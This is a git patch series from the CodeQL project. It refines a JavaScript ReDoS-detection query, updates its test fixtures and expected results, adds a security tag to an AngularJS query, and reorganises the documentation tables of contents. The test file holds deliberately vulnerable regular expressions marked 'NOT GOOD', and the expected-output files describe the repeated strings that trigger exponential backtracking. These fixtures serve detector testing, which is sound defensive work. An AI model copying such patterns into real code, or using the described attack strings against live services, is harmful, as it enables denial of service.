b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected index 58cf4a3e5df..014fd7bac7b 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected @@ -120,3 +120,4 @@ | tst.js:293:17:293:18 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:299:90:299:91 | e+ | This part of the regular expression may cause exponential backtracking on strings starting with '00000000000000' and containing many repetitions of 'e'. | | tst.js:302:18:302:19 | c+ | This part of the regular expression may cause exponential backtracking on strings starting with 'ab' and containing many repetitions of 'c'. | +| tst.js:305:18:305:20 | \\s+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of ' '. | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js index 1bdfa1f4c5b..5093ea110bc 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js +++ b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js @@ -300,3 +300,6 @@ var bad65 = /(^|;)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0 // NOT GOOD var bad66 = /^ab(c+)+$/; + +// NOT GOOD +var bad67 = /(\d(\s+)*){20}/; From 11d878b413deb94438c71e32d81de5eab4b33031 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Wed, 25 Nov 2020 14:40:33 +0100 Subject: [PATCH 0071/1241] adjust comments to reflect the precission of the suffix search --- javascript/ql/src/Performance/ReDoS.ql | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index c623ce3ae68..ec8532164eb 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -76,7 +76,7 @@ import semmle.javascript.security.performance.SuperlinearBackTracking * back to itself has been identified, we attempt to construct a concrete * string corresponding to it, which may fail. * * Lastly we ensure that any state reached by repeating `n` copies of `w` has - * a suffix `x` (possible empty) that is __not__ accepted. + * a suffix `x` (possible empty) that is most likely __not__ accepted. */ /** @@ -1009,24 +1009,26 @@ module SuffixConstruction { /** * Holds if all states reachable from `fork` by repeating `w` - * are rejectable by appending some suffix. + * are likely rejectable by appending some suffix. */ predicate reachesOnlyRejectableSuffixes(State fork, string w) { isReDoSCandidate(fork, w) and - forex(State next | next = process(fork, w, w.length() - 1) | isDefinitelyRejectable(next)) + forex(State next | next = process(fork, w, w.length() - 1) | isLikelyRejectable(next)) } /** - * Holds if there definitely exists a path starting from `s` that leads to the regular expression being rejected. + * Holds if there likely exists a suffix starting from `s` that leads to the regular expression being rejected. + * This predicate might find impossible suffixes when searching for suffixes of length > 1, which can cause FPs. */ - private predicate isDefinitelyRejectable(StateInPumpableRegexp s) { + private predicate isLikelyRejectable(StateInPumpableRegexp s) { // exists a reject edge with some char. hasRejectEdge(s, _) or // all edges (at least one) with some char leads to another state that is rejectable. + // the `next` states might not share a common suffix, which can cause FPs. exists(string char | char = relevant() | forex(State next | deltaClosed(s, getAnInputSymbolMatching(char), next) | - isDefinitelyRejectable(next) + isLikelyRejectable(next) ) ) or From 1b3c3ef4cbb2801d3bb6285ffacbe3f844579e05 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 26 Nov 2020 10:31:44 +0100 Subject: [PATCH 0072/1241] adjust comments in ReDoS test case --- .../ql/test/query-tests/Performance/ReDoS/tst.js | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js index 5093ea110bc..aaa257c160b 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js +++ b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js @@ -268,19 +268,19 @@ var good28 = /foo([\uDC66\uDC67]|[\uDC68\uDC69])*foo/ // GOOD var good29 = /foo((\uDC66|\uDC67)|(\uDC68|\uDC69))*foo/ -// NOT GOOD - but cannot currently construct a prefix +// NOT GOOD (but cannot currently construct a prefix) var bad62 = /a{2,3}(b+)+X/; -// NOT GOOD - and a good prefix test +// NOT GOOD (and a good prefix test) var bad63 = /^<(\w+)((?:\s+\w+(?:\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|[^>\s]+))?)*)\s*(\/?)>/; // GOOD var good30 = /(a+)*[^][^][^]?/; -// GOOD - but we fail to see that repeating the attack string ends in the "accept any" state. +// GOOD - but we fail to see that repeating the attack string ends in the "accept any" state (due to not parsing the range `[^]{2,3}`). var good31 = /(a+)*[^]{2,3}/; -// GOOD - but we don't find that no suffix is rejected +// GOOD - but we spuriously conclude that a rejecting suffix exists (due to not parsing the range `[^]{2,}` when constructing the NFA). var good32 = /(a+)*([^]{2,}|X)$/; // GOOD @@ -290,12 +290,12 @@ var good33 = /(a+)*([^]*|X)$/; var bad64 = /((a+)*$|[^]+)/; // GOOD - but still flagged. The only change compared to the above is the order of alternatives, which we don't model. -var good34 = /((a+)*$|[^]+)/; +var good34 = /([^]+|(a+)*$)/; // GOOD var good35 = /((;|^)a+)+$/; -// NOT GOOD - a good prefix test +// NOT GOOD (a good prefix test) var bad65 = /(^|;)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(e+)+f/; // NOT GOOD From 82e8114c0f07d227ca1c2c530a8d5cbc633ac72c Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen Date: Thu, 26 Nov 2020 10:39:19 +0100 Subject: [PATCH 0073/1241] Add `security` tag to js/angular/double-compilation --- javascript/ql/src/AngularJS/DoubleCompilation.ql | 1 + 1 file changed, 1 insertion(+) diff --git a/javascript/ql/src/AngularJS/DoubleCompilation.ql b/javascript/ql/src/AngularJS/DoubleCompilation.ql index a281ef5500f..024e65bef51 100644 --- a/javascript/ql/src/AngularJS/DoubleCompilation.ql +++ b/javascript/ql/src/AngularJS/DoubleCompilation.ql @@ -7,6 +7,7 @@ * @id js/angular/double-compilation * @tags reliability * frameworks/angularjs + * security * @precision very-high */ From 9468a6e8dc7771e96ca2957a5db899bc77c1f65f Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 26 Nov 2020 12:32:55 +0100 Subject: [PATCH 0074/1241] update expected output --- .../Performance/ReDoS/PolynomialBackTracking.expected | 4 ++-- .../ql/test/query-tests/Performance/ReDoS/ReDoS.expected | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected index 555474ebaea..644c351c9c2 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected @@ -277,6 +277,6 @@ | tst.js:287:21:287:24 | [^]* | it can start matching anywhere | | tst.js:290:15:290:19 | (a+)* | it can start matching anywhere | | tst.js:290:16:290:17 | a+ | it can start matching anywhere | -| tst.js:293:16:293:20 | (a+)* | it can start matching anywhere | -| tst.js:293:17:293:18 | a+ | it can start matching anywhere | +| tst.js:293:21:293:25 | (a+)* | it can start matching anywhere | +| tst.js:293:22:293:23 | a+ | it can start matching anywhere | | tst.js:296:15:296:24 | ((;\|^)a+)+ | it can start matching anywhere | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected index 014fd7bac7b..721bcd4f8ec 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected @@ -117,7 +117,7 @@ | tst.js:281:16:281:17 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:284:16:284:17 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:290:16:290:17 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | -| tst.js:293:17:293:18 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | +| tst.js:293:22:293:23 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:299:90:299:91 | e+ | This part of the regular expression may cause exponential backtracking on strings starting with '00000000000000' and containing many repetitions of 'e'. | | tst.js:302:18:302:19 | c+ | This part of the regular expression may cause exponential backtracking on strings starting with 'ab' and containing many repetitions of 'c'. | | tst.js:305:18:305:20 | \\s+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of ' '. | From d38e297ef9d29c91b6cda2dce51c3b498d285557 Mon Sep 17 00:00:00 2001 From: james Date: Thu, 26 Nov 2020 15:51:08 +0000 Subject: [PATCH 0075/1241] add intros and tweak tocs --- docs/codeql/codeql-cli/index.rst | 2 -- .../about-codeql-for-visual-studio-code.rst | 2 ++ .../analyzing-your-projects.rst | 2 ++ .../customizing-settings.rst | 2 ++ .../exploring-data-flow-with-path-queries.rst | 2 ++ ...ring-the-structure-of-your-source-code.rst | 2 ++ .../codeql-for-visual-studio-code/index.rst | 2 -- ...etting-up-codeql-in-visual-studio-code.rst | 2 ++ ...g-codeql-queries-in-visual-studio-code.rst | 2 ++ ...shooting-codeql-for-visual-studio-code.rst | 2 ++ docs/codeql/codeql-language-guides/index.rst | 2 ++ docs/codeql/codeql-overview/about-codeql.rst | 2 ++ .../codeql-overview/codeql-glossary.rst | 4 ++- docs/codeql/codeql-overview/codeql-tools.rst | 2 ++ docs/codeql/codeql-overview/index.rst | 9 +++++ .../supported-languages-and-frameworks.rst | 2 ++ docs/codeql/index.rst | 3 +- .../about-the-ql-language.rst | 2 ++ docs/codeql/ql-language-reference/aliases.rst | 3 ++ .../ql-language-reference/annotations.rst | 2 ++ .../evaluation-of-ql-programs.rst | 2 ++ .../ql-language-reference/expressions.rst | 2 ++ .../codeql/ql-language-reference/formulas.rst | 2 ++ docs/codeql/ql-language-reference/index.rst | 33 +++++++++++++++++++ .../ql-language-reference/lexical-syntax.rst | 2 ++ docs/codeql/ql-language-reference/modules.rst | 2 ++ .../ql-language-reference/name-resolution.rst | 2 ++ .../ql-language-reference/predicates.rst | 2 ++ .../ql-language-specification.rst | 2 ++ .../qldoc-comment-specification.rst | 2 ++ docs/codeql/ql-language-reference/queries.rst | 3 ++ .../ql-language-reference/recursion.rst | 2 ++ docs/codeql/ql-language-reference/types.rst | 2 ++ .../ql-language-reference/variables.rst | 3 ++ docs/codeql/writing-codeql-queries/index.rst | 7 ++++ 35 files changed, 113 insertions(+), 6 deletions(-) diff --git a/docs/codeql/codeql-cli/index.rst b/docs/codeql/codeql-cli/index.rst index efa02e61e3c..a27b1aa70c3 100644 --- a/docs/codeql/codeql-cli/index.rst +++ b/docs/codeql/codeql-cli/index.rst @@ -5,8 +5,6 @@ CodeQL CLI .. include:: ../reusables/codeql-cli-overview.rst -See the following links to learn how to get set up and run CodeQL commands: - - :ref:`Using the CodeQL CLI `: Software developers and security researchers can secure their code using the CodeQL CLI. diff --git a/docs/codeql/codeql-for-visual-studio-code/about-codeql-for-visual-studio-code.rst b/docs/codeql/codeql-for-visual-studio-code/about-codeql-for-visual-studio-code.rst index 0525013f8a1..57a39cef5b4 100644 --- a/docs/codeql/codeql-for-visual-studio-code/about-codeql-for-visual-studio-code.rst +++ b/docs/codeql/codeql-for-visual-studio-code/about-codeql-for-visual-studio-code.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _about-codeql-for-visual-studio-code: About CodeQL for Visual Studio Code diff --git a/docs/codeql/codeql-for-visual-studio-code/analyzing-your-projects.rst b/docs/codeql/codeql-for-visual-studio-code/analyzing-your-projects.rst index e2baaa9443d..6222c677361 100644 --- a/docs/codeql/codeql-for-visual-studio-code/analyzing-your-projects.rst +++ b/docs/codeql/codeql-for-visual-studio-code/analyzing-your-projects.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _analyzing-your-projects: Analyzing your projects diff --git a/docs/codeql/codeql-for-visual-studio-code/customizing-settings.rst b/docs/codeql/codeql-for-visual-studio-code/customizing-settings.rst index a2621c34b15..fd61771831a 100644 --- a/docs/codeql/codeql-for-visual-studio-code/customizing-settings.rst +++ b/docs/codeql/codeql-for-visual-studio-code/customizing-settings.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _customizing-settings: Customizing settings diff --git a/docs/codeql/codeql-for-visual-studio-code/exploring-data-flow-with-path-queries.rst b/docs/codeql/codeql-for-visual-studio-code/exploring-data-flow-with-path-queries.rst index 2ca36badda3..34d68fbe223 100644 --- a/docs/codeql/codeql-for-visual-studio-code/exploring-data-flow-with-path-queries.rst +++ b/docs/codeql/codeql-for-visual-studio-code/exploring-data-flow-with-path-queries.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _exploring-data-flow-with-path-queries: Exploring data flow with path queries diff --git a/docs/codeql/codeql-for-visual-studio-code/exploring-the-structure-of-your-source-code.rst b/docs/codeql/codeql-for-visual-studio-code/exploring-the-structure-of-your-source-code.rst index 5d314a1fb6e..f3338283ba7 100644 --- a/docs/codeql/codeql-for-visual-studio-code/exploring-the-structure-of-your-source-code.rst +++ b/docs/codeql/codeql-for-visual-studio-code/exploring-the-structure-of-your-source-code.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _exploring-the-structure-of-your-source-code: Exploring the structure of your source code diff --git a/docs/codeql/codeql-for-visual-studio-code/index.rst b/docs/codeql/codeql-for-visual-studio-code/index.rst index bf7eee0fd7f..3163dd2d029 100644 --- a/docs/codeql/codeql-for-visual-studio-code/index.rst +++ b/docs/codeql/codeql-for-visual-studio-code/index.rst @@ -5,8 +5,6 @@ CodeQL for Visual Studio Code The CodeQL extension for Visual Studio Code adds rich language support for CodeQL and allows you to easily find problems in codebases. -See the following help topics for more information: - - :doc:`About CodeQL for Visual Studio Code `: CodeQL for Visual Studio Code is an extension that lets you write, run, and test CodeQL queries in Visual diff --git a/docs/codeql/codeql-for-visual-studio-code/setting-up-codeql-in-visual-studio-code.rst b/docs/codeql/codeql-for-visual-studio-code/setting-up-codeql-in-visual-studio-code.rst index 8ba4e18de68..054842c0dcc 100644 --- a/docs/codeql/codeql-for-visual-studio-code/setting-up-codeql-in-visual-studio-code.rst +++ b/docs/codeql/codeql-for-visual-studio-code/setting-up-codeql-in-visual-studio-code.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _setting-up-codeql-in-visual-studio-code: Setting up CodeQL in Visual Studio Code diff --git a/docs/codeql/codeql-for-visual-studio-code/testing-codeql-queries-in-visual-studio-code.rst b/docs/codeql/codeql-for-visual-studio-code/testing-codeql-queries-in-visual-studio-code.rst index 0f5ae552c31..ceeab432ae0 100644 --- a/docs/codeql/codeql-for-visual-studio-code/testing-codeql-queries-in-visual-studio-code.rst +++ b/docs/codeql/codeql-for-visual-studio-code/testing-codeql-queries-in-visual-studio-code.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _testing-codeql-queries-in-visual-studio-code: Testing CodeQL queries in Visual Studio Code diff --git a/docs/codeql/codeql-for-visual-studio-code/troubleshooting-codeql-for-visual-studio-code.rst b/docs/codeql/codeql-for-visual-studio-code/troubleshooting-codeql-for-visual-studio-code.rst index 3d07f3baf63..80fc5efea0f 100644 --- a/docs/codeql/codeql-for-visual-studio-code/troubleshooting-codeql-for-visual-studio-code.rst +++ b/docs/codeql/codeql-for-visual-studio-code/troubleshooting-codeql-for-visual-studio-code.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _troubleshooting-codeql-for-visual-studio-code: Troubleshooting CodeQL for Visual Studio Code diff --git a/docs/codeql/codeql-language-guides/index.rst b/docs/codeql/codeql-language-guides/index.rst index 760f6871a2d..abd20af89e0 100644 --- a/docs/codeql/codeql-language-guides/index.rst +++ b/docs/codeql/codeql-language-guides/index.rst @@ -3,6 +3,8 @@ CodeQL language guides ====================== +Experiment and learn how to write effective and efficient queries for CodeQL databases generated from the languages supported in CodeQL analysis. + .. toctree:: codeql-for-cpp/index diff --git a/docs/codeql/codeql-overview/about-codeql.rst b/docs/codeql/codeql-overview/about-codeql.rst index 7278f609d0a..a05282bf494 100644 --- a/docs/codeql/codeql-overview/about-codeql.rst +++ b/docs/codeql/codeql-overview/about-codeql.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _about-codeql: About CodeQL diff --git a/docs/codeql/codeql-overview/codeql-glossary.rst b/docs/codeql/codeql-overview/codeql-glossary.rst index 05039eafa43..0acc7bd25f1 100644 --- a/docs/codeql/codeql-overview/codeql-glossary.rst +++ b/docs/codeql/codeql-overview/codeql-glossary.rst @@ -1,9 +1,11 @@ +:tocdepth: 1 + .. _codeql-glossary: CodeQL glossary =============== -An overview of the technical terms and concepts in coCodeQL. +An overview of the technical terms and concepts in CodeQL. .. _bqrs-file: diff --git a/docs/codeql/codeql-overview/codeql-tools.rst b/docs/codeql/codeql-overview/codeql-tools.rst index 3a57cd98b46..c51a5286cb0 100644 --- a/docs/codeql/codeql-overview/codeql-tools.rst +++ b/docs/codeql/codeql-overview/codeql-tools.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _codeql-tools: CodeQL tools diff --git a/docs/codeql/codeql-overview/index.rst b/docs/codeql/codeql-overview/index.rst index 02313631d80..e6225c2d24f 100644 --- a/docs/codeql/codeql-overview/index.rst +++ b/docs/codeql/codeql-overview/index.rst @@ -3,8 +3,17 @@ CodeQL overview =============== +- :doc:`About CodeQL `: CodeQL is the analysis engine used by developers to automate security checks, and by security researchers to perform variant analysis. + +- :doc:`Supported languages and frameworks `: View the languages, libraries, and frameworks supported in the latest version of CodeQL. + +- :doc:`CodeQL tools `: GitHub provides the CodeQL command-line interface and CodeQL for Visual Studio Code for performing CodeQL analysis on open source codebases. + +- :doc:`CodeQL glossary `: An overview of the technical terms and concepts in CodeQL. + .. toctree:: :maxdepth: 1 + :hidden: about-codeql supported-languages-and-frameworks diff --git a/docs/codeql/codeql-overview/supported-languages-and-frameworks.rst b/docs/codeql/codeql-overview/supported-languages-and-frameworks.rst index 22885fcd745..4353f9402b7 100644 --- a/docs/codeql/codeql-overview/supported-languages-and-frameworks.rst +++ b/docs/codeql/codeql-overview/supported-languages-and-frameworks.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _supported-languages-and-frameworks: Supported languages and frameworks diff --git a/docs/codeql/index.rst b/docs/codeql/index.rst index 79f3e9d3921..1a772c7263c 100644 --- a/docs/codeql/index.rst +++ b/docs/codeql/index.rst @@ -2,7 +2,8 @@ CodeQL documentation ==================== .. toctree:: - :hidden: + :includehidden: + :maxdepth: 3 codeql-overview/index codeql-for-visual-studio-code/index diff --git a/docs/codeql/ql-language-reference/about-the-ql-language.rst b/docs/codeql/ql-language-reference/about-the-ql-language.rst index 73943dc8e12..4d139fc8ff9 100644 --- a/docs/codeql/ql-language-reference/about-the-ql-language.rst +++ b/docs/codeql/ql-language-reference/about-the-ql-language.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _about-the-ql-language: About the QL language diff --git a/docs/codeql/ql-language-reference/aliases.rst b/docs/codeql/ql-language-reference/aliases.rst index 33fd63ca7e3..9e2c173a8ab 100644 --- a/docs/codeql/ql-language-reference/aliases.rst +++ b/docs/codeql/ql-language-reference/aliases.rst @@ -1,4 +1,7 @@ +:tocdepth: 1 + .. index:: alias + .. _aliases: Aliases diff --git a/docs/codeql/ql-language-reference/annotations.rst b/docs/codeql/ql-language-reference/annotations.rst index 7def4c3afea..cd9f2c72860 100644 --- a/docs/codeql/ql-language-reference/annotations.rst +++ b/docs/codeql/ql-language-reference/annotations.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _annotations: Annotations diff --git a/docs/codeql/ql-language-reference/evaluation-of-ql-programs.rst b/docs/codeql/ql-language-reference/evaluation-of-ql-programs.rst index 2a8ce7c20ed..507c1456582 100644 --- a/docs/codeql/ql-language-reference/evaluation-of-ql-programs.rst +++ b/docs/codeql/ql-language-reference/evaluation-of-ql-programs.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _evaluation-of-ql-programs: Evaluation of QL programs diff --git a/docs/codeql/ql-language-reference/expressions.rst b/docs/codeql/ql-language-reference/expressions.rst index 0415538a831..5b9e67f415f 100644 --- a/docs/codeql/ql-language-reference/expressions.rst +++ b/docs/codeql/ql-language-reference/expressions.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _expressions: Expressions diff --git a/docs/codeql/ql-language-reference/formulas.rst b/docs/codeql/ql-language-reference/formulas.rst index a5adeaf4de8..1354f087d0d 100644 --- a/docs/codeql/ql-language-reference/formulas.rst +++ b/docs/codeql/ql-language-reference/formulas.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _formulas: Formulas diff --git a/docs/codeql/ql-language-reference/index.rst b/docs/codeql/ql-language-reference/index.rst index e5661ddc4a1..ff1171787e7 100644 --- a/docs/codeql/ql-language-reference/index.rst +++ b/docs/codeql/ql-language-reference/index.rst @@ -5,8 +5,41 @@ QL language reference Learn all about QL, the powerful query language that underlies the code scanning tool CodeQL. +- :doc:`About the QL language `: QL is the powerful query language that underlies CodeQL, which is used to analyze code. + +- :doc:`Predicates `: Predicates are used to describe the logical relations that make up a QL program. + +- :doc:`Queries `: Queries are the output of a QL program. They evaluate to sets of results. + +- :doc:`Types `: QL is a statically typed language, so each variable must have a declared type. + +- :doc:`Modules `: Modules provide a way of organizing QL code by grouping together related types, predicates, and other modules. + +- :doc:`Aliases `: An alias is an alternative name for an existing QL entity. + +- :doc:`Variables `: Variables in QL are used in a similar way to variables in algebra or logic. They represent sets of values, and those values are usually restricted by a formula. + +- :doc:`Expressions `: An expression evaluates to a set of values and has a type. + +- :doc:`Formulas `: Formulas define logical relations between the free variables used in expressions. + +- :doc:`Annotations `: An annotation is a string that you can place directly before the declaration of a QL entity or name. + +- :doc:`Recursion `: QL provides strong support for recursion. A predicate in QL is said to be recursive if it depends, directly or indirectly, on itself. + +- :doc:`Lexical syntax `: The QL syntax includes different kinds of keywords, identifiers, and comments. + +- :doc:`Name resolution `: The QL compiler resolves names to program elements. + +- :doc:`Evaluation of QL programs `: A QL program is evaluated in a number of different steps. + +- :doc:`QL language specification `: A formal specification for the QL language. It provides a comprehensive reference for terminology, syntax, and other technical details about QL. + +- :doc:`QLDoc comment specification `: a formal specification for QLDoc comments. + .. toctree:: :maxdepth: 1 + :hidden: about-the-ql-language predicates diff --git a/docs/codeql/ql-language-reference/lexical-syntax.rst b/docs/codeql/ql-language-reference/lexical-syntax.rst index 736784740cf..b2134ae147a 100644 --- a/docs/codeql/ql-language-reference/lexical-syntax.rst +++ b/docs/codeql/ql-language-reference/lexical-syntax.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _lexical-syntax: Lexical syntax diff --git a/docs/codeql/ql-language-reference/modules.rst b/docs/codeql/ql-language-reference/modules.rst index 984e0ff35ec..472f889c161 100644 --- a/docs/codeql/ql-language-reference/modules.rst +++ b/docs/codeql/ql-language-reference/modules.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _modules: Modules diff --git a/docs/codeql/ql-language-reference/name-resolution.rst b/docs/codeql/ql-language-reference/name-resolution.rst index 5908f3ff7a9..ad309cebcb7 100644 --- a/docs/codeql/ql-language-reference/name-resolution.rst +++ b/docs/codeql/ql-language-reference/name-resolution.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _name-resolution: Name resolution diff --git a/docs/codeql/ql-language-reference/predicates.rst b/docs/codeql/ql-language-reference/predicates.rst index db37d56128c..520d5a29216 100644 --- a/docs/codeql/ql-language-reference/predicates.rst +++ b/docs/codeql/ql-language-reference/predicates.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _predicates: Predicates diff --git a/docs/codeql/ql-language-reference/ql-language-specification.rst b/docs/codeql/ql-language-reference/ql-language-specification.rst index 45a2385f1f3..25a996496b2 100644 --- a/docs/codeql/ql-language-reference/ql-language-specification.rst +++ b/docs/codeql/ql-language-reference/ql-language-specification.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _ql-language-specification: QL language specification diff --git a/docs/codeql/ql-language-reference/qldoc-comment-specification.rst b/docs/codeql/ql-language-reference/qldoc-comment-specification.rst index cb84d281c93..4979edb21b7 100644 --- a/docs/codeql/ql-language-reference/qldoc-comment-specification.rst +++ b/docs/codeql/ql-language-reference/qldoc-comment-specification.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. _qldoc-comment-specification: QLDoc comment specification diff --git a/docs/codeql/ql-language-reference/queries.rst b/docs/codeql/ql-language-reference/queries.rst index 2bdf9d9bb0a..895106479aa 100644 --- a/docs/codeql/ql-language-reference/queries.rst +++ b/docs/codeql/ql-language-reference/queries.rst @@ -1,4 +1,7 @@ +:tocdepth: 1 + .. index:: query + .. _queries: Queries diff --git a/docs/codeql/ql-language-reference/recursion.rst b/docs/codeql/ql-language-reference/recursion.rst index 4188a5be4a1..e499472d683 100644 --- a/docs/codeql/ql-language-reference/recursion.rst +++ b/docs/codeql/ql-language-reference/recursion.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. index:: recursion .. _recursion: diff --git a/docs/codeql/ql-language-reference/types.rst b/docs/codeql/ql-language-reference/types.rst index 21ecf83490e..a8c8c4bd5bc 100644 --- a/docs/codeql/ql-language-reference/types.rst +++ b/docs/codeql/ql-language-reference/types.rst @@ -1,3 +1,5 @@ +:tocdepth: 1 + .. index:: type .. _types: diff --git a/docs/codeql/ql-language-reference/variables.rst b/docs/codeql/ql-language-reference/variables.rst index da7ccd1e7ea..7fdc7506580 100644 --- a/docs/codeql/ql-language-reference/variables.rst +++ b/docs/codeql/ql-language-reference/variables.rst @@ -1,4 +1,7 @@ +:tocdepth: 1 + .. index:: variable + .. _variables: Variables diff --git a/docs/codeql/writing-codeql-queries/index.rst b/docs/codeql/writing-codeql-queries/index.rst index fd63abd9c78..f88e35080f4 100644 --- a/docs/codeql/writing-codeql-queries/index.rst +++ b/docs/codeql/writing-codeql-queries/index.rst @@ -3,7 +3,14 @@ Writing CodeQL queries ====================== +Get to know more about queries and learn some key query-writing skills by solving puzzles. + +- :ref:`CodeQL `: CodeQL queries are used in code scanning analyses to find problems in source code, including potential security vulnerabilities. + +- :ref:`QL tutorials `: Solve puzzles to learn the basics of QL before you analyze code with CodeQL. The tutorials teach you how to write queries and introduce you to key logic concepts along the way. + .. toctree:: + :hidden: ql-tutorials/index codeql-queries/index \ No newline at end of file From a10fe44afa7381ca9d0320fb34c6a827898a0073 Mon Sep 17 00:00:00 2001 From: james Date: Thu, 26 Nov 2020 15:51:56 +0000 Subject: [PATCH 0076/1241] rename index -> contents --- docs/codeql/conf.py | 2 +- docs/codeql/{index.rst => contents.rst} | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename docs/codeql/{index.rst => contents.rst} (100%) diff --git a/docs/codeql/conf.py b/docs/codeql/conf.py index 6372c6968b6..a2a9993d879 100644 --- a/docs/codeql/conf.py +++ b/docs/codeql/conf.py @@ -27,7 +27,7 @@ source_suffix = '.rst' # The master toctree document. -master_doc = 'index' +master_doc = 'contents' # General information about the project. project = u'CodeQL documentation' diff --git a/docs/codeql/index.rst b/docs/codeql/contents.rst similarity index 100% rename from docs/codeql/index.rst rename to docs/codeql/contents.rst From e50e2f8c4f50c5aeb2f097ea2d81a41843dc84c7 Mon Sep 17 00:00:00 2001 From: james Date: Thu, 26 Nov 2020 16:18:38 +0000 Subject: [PATCH 0077/1241] add another missing intro --- docs/codeql/codeql-overview/index.rst | 2 ++ 1 file changed, 2 insertions(+) diff --git a/docs/codeql/codeql-overview/index.rst b/docs/codeql/codeql-overview/index.rst index e6225c2d24f..aacb209cf4c 100644 --- a/docs/codeql/codeql-overview/index.rst +++ b/docs/codeql/codeql-overview/index.rst @@ -3,6 +3,8 @@ CodeQL overview =============== +Learn more about how CodeQL works, the languages and libraries supported by CodeQL analysis, and the tools you can use to run CodeQL on open source projects. + - :doc:`About CodeQL `: CodeQL is the analysis engine used by developers to automate security checks, and by security researchers to perform variant analysis. - :doc:`Supported languages and frameworks `: View the languages, libraries, and frameworks supported in the latest version of CodeQL. From f576144ec614466c295b5bd8ae280c2c2b5becef Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Wed, 25 Nov 2020 10:03:54 +0100 Subject: [PATCH 0078/1241] more pruning based on states being inside a repetition --- javascript/ql/src/Performance/ReDoS.ql | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index ec8532164eb..71ee1515be7 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -702,7 +702,9 @@ predicate isFork(State q, InputSymbol s1, InputSymbol s2, State r1, State r2) { r1 != r2 or r1 = r2 and q1 != q2 - ) + ) and + stateInsideBacktracking(r1) and + stateInsideBacktracking(r2) } /** From 7ad031ca70c2dc1cb5ac27a5aebd824a94f80f03 Mon Sep 17 00:00:00 2001 From: luchua-bc Date: Thu, 26 Nov 2020 17:09:53 +0000 Subject: [PATCH 0079/1241] Move to experimental and update qldoc --- .../CWE-312/ClearTextStorageSharedPrefs.ql | 22 --- .../Security/CWE/CWE-312/SensitiveStorage.qll | 115 ------------ 